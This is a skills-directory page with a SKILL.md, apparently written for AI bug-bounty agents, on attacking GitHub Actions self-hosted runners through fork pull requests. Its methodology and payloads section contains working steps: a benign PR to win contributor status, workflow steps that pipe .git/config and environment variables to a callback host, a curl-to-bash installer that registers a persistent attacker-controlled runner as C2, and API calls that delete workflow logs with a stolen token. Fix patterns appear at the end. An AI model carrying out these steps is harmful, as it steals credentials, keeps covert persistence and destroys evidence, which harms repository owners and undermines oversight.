Self hosted runner poisoning
Skill ShulkwiSEC/bb-huge/skills/curated/self-hosted-runner-poisoning
bb-huge π€ , Personal bug bounty findings hub and bug bounty orchestration for multiple agents
npx -y skills add ShulkwiSEC/bb-huge --skill self-hosted-runner-poisoningAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
Use when hunting self-hosted GitHub Actions runner vulnerabilities where fork pull requests can execute on privileged non-ephemeral runners. Trigger on: "self-hosted runner", "runs-on self-hosted", "fork PR workflow", "non-ephemeral runner", "first-time contributor approval", "runner images", "azure-builds runner", "outside collaborator approval", "runs-on matrix", "persistent runner", "Gato GitHub Attack Toolkit", "runner agent", self-hosted CI/CD runner abuse, "git config token", "workflow log deletion", runner C2.
The file declares its own license as MIT. That is the authorβs claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
8.9 KB, as published. Nobody here has run it
Self-Hosted Runner Poisoning
What Is Broken and Why
GitHub-hosted runners are ephemeral and isolated. Self-hosted runners are not β they
persist between runs, share state, and often carry long-lived credentials baked into the
environment. When a repository allows fork pull requests to run on self-hosted runners
(especially with the default "Require approval for first-time contributors" setting),
an attacker who has made even one accepted contribution can submit a PR that modifies
the workflow's runs-on field to target a privileged self-hosted runner and execute
arbitrary code on it. Non-ephemeral runners retain their working directory, installed
tooling, and cached credentials across runs β making them ideal for persistence and
lateral movement into the broader infrastructure.
Key Signals
runs-on: self-hostedor named runner labels (azure-builds,macos-vmware,[self-hosted, linux]) in workflow files- Repository setting: "Require approval for first-time contributors" (default) rather than "Require approval for all outside collaborators"
- Fork PR workflows that use a
matrix.osormatrix.runnerwhose values the PR author can influence - Non-ephemeral runner: runner directory persists, processes survive between runs
- Workflow checks out code without
persist-credentials: falseβ.git/configcontains embeddedGITHUB_TOKEN runs-onfield uses an expression:runs-on: ${{ matrix.os }}orruns-on: ${{ inputs.runner }}- Secrets or cloud credentials (
AWS_*,AZURE_*, vCenter creds) available in runner environment - Repository contains build infrastructure workflows (Packer, Terraform, image builds)
Methodology
- Identify repositories using self-hosted runners:
gato enumerate --target ORG --type org # or manually: grep -rn 'self-hosted\|runs-on:' .github/workflows/ | grep -v 'ubuntu-latest\|windows-latest\|macos-latest' - Check the fork PR approval policy: Settings β Actions β Fork pull request workflows. "Require approval for first-time contributors" = vulnerable after one merged PR.
- Check if
runs-onuses a matrix or expression that a PR author can modify. - Submit one legitimate PR (typo fix, docs update) to gain "not first-time contributor" status.
- In a second PR, modify the workflow to:
- Change
runs-onto target a self-hosted runner label - Replace or append a malicious step to the workflow
- Change
- Confirm code execution via OOB callback.
- From runner context: extract
.git/configforGITHUB_TOKEN, enumerate environment variables, access credential stores. - Optionally install persistent runner agent for long-term access.
- Cover tracks: delete workflow run logs via API using stolen token.
Payloads & Tools
# Gato: enumerate org for self-hosted runner exposure
gato enumerate --target ORG --type org --output results.json
gato attack --target REPO --self-hosted
# Modify runs-on in workflow PR to target self-hosted runner
# Change in linter.yml or any triggered workflow:
- runs-on: ubuntu-latest
+ runs-on: ${{ matrix.os }}
+ strategy:
+ matrix:
+ os: [self-hosted-runner-label]
# Malicious step payload β extract token from .git/config
- name: exfil
run: |
cat .git/config | base64 | curl -d @- https://CALLBACK
printenv | curl -d @- https://CALLBACK
# Install persistent runner agent (C2)
- name: persist
run: |
curl -sSfL https://ATTACKER/runner-install.sh | bash
# Registers new runner connected to attacker's private repo
# Runs as background process, survives workflow completion
# Delete workflow run logs to remove evidence (using stolen GITHUB_TOKEN)
curl -L -X DELETE \
-H "Authorization: Bearer STOLEN_TOKEN" \
https://api.github.com/repos/ORG/REPO/actions/runs/RUN_ID
# List recent runs to find IDs to delete
gh api repos/ORG/REPO/actions/runs --jq '.workflow_runs[].id'
Bypass Techniques
- First-time contributor bypass: submit one benign PR (typo, docs) to transition from "first-time contributor" to "returning contributor" β subsequent PRs skip approval
- Matrix expression hijack: if
runs-on: ${{ matrix.os }}andmatrixis defined in a file the PR modifies, attacker controls the runner label - Workflow file in subdirectory: some repos call reusable workflows stored in subdirectories; a PR modifying those files can alter
runs-onindirectly - Composite action replacement: replace a composite action called by the workflow with malicious steps β
runs-onis inherited from the calling workflow - Non-ephemeral state abuse: if runner is not ephemeral, artifacts from previous runs (cached tokens, SSH keys, build outputs) may be accessible in the working directory without needing fresh exfiltration
persist-credentials: true(default):actions/checkoutembedsGITHUB_TOKENin.git/configβ readable by any subsequent step
Exploitation Scenarios
Scenario 1 β Infrastructure takeover via image build runner
Setup: Repository builds VM/container images using self-hosted runners with vCenter/Azure credentials. Fork PR approval requires only first-time contributor check.
Trigger: Attacker merges one typo-fix PR, then submits second PR modifying runs-on to target the build runner.
Impact: Runner environment yields vCenter admin credentials, Azure storage keys, SSH keys. Attacker can poison all future runner images deployed globally.
Scenario 2 β Persistent C2 via runner agent Setup: Self-hosted runner is non-ephemeral (shared VM, no cleanup between runs). Trigger: Malicious PR step installs a secondary GitHub Actions runner agent registered to attacker's private repo. Impact: Attacker maintains persistent access to the runner machine β survives PR close, branch delete, and log wipe. Can re-trigger at will via private repo workflows.
Scenario 3 β Token theft + log deletion
Setup: Workflow uses default actions/checkout (persist-credentials: true).
Trigger: Malicious step reads .git/config, exfiltrates GITHUB_TOKEN with write permissions.
Impact: Attacker uses stolen token to push to protected branches, create releases, delete evidence (workflow logs deleted via API), and enumerate other secrets before token expires.
False Positives
- Self-hosted runners in a repo where fork PRs are fully disabled
- Approval policy set to "Require approval for all outside collaborators" β attacker's PR never runs
- Runner IS ephemeral (fresh VM per job) β persistence techniques don't apply, but token exfiltration still works
runs-onhardcoded (not an expression) β attacker cannot redirect to a different runner label via PR
Fix Patterns
# WRONG: runs-on from matrix that PR author controls
runs-on: ${{ matrix.os }}
# CORRECT: hardcode runner label, don't expose it as a modifiable value
runs-on: ubuntu-latest
# or for self-hosted, use a fixed label not exposed in PR-modifiable files:
runs-on: [self-hosted, linux, internal]
# WRONG: default persist-credentials embeds token in .git/config
- uses: actions/checkout@v4
# CORRECT: don't persist credentials when not needed
- uses: actions/checkout@v4
with:
persist-credentials: false
- Change fork PR approval to "Require approval for all outside collaborators" (not just first-time)
- Use ephemeral runners (fresh VM per job) β eliminates persistence and state leakage
- Restrict self-hosted runners to internal workflows only; never allow fork PRs to target them
- Audit runner labels in all workflow files; alert on PRs that modify
runs-onvalues - Rotate all credentials accessible from runner environments regularly
Related Skills
[[pwn-request]] is the most common trigger path that lands code on a self-hosted runner β a pull_request_target workflow that checks out PR code and runs it on a persistent self-hosted runner is the textbook combination. From there, [[github-actions-script-injection]] payloads can run to exfiltrate long-lived credentials stored in the runner environment. Once persistent access is established, [[github-actions-cache-poisoning]] can be executed from the compromised runner to poison downstream privileged workflows without requiring another PR.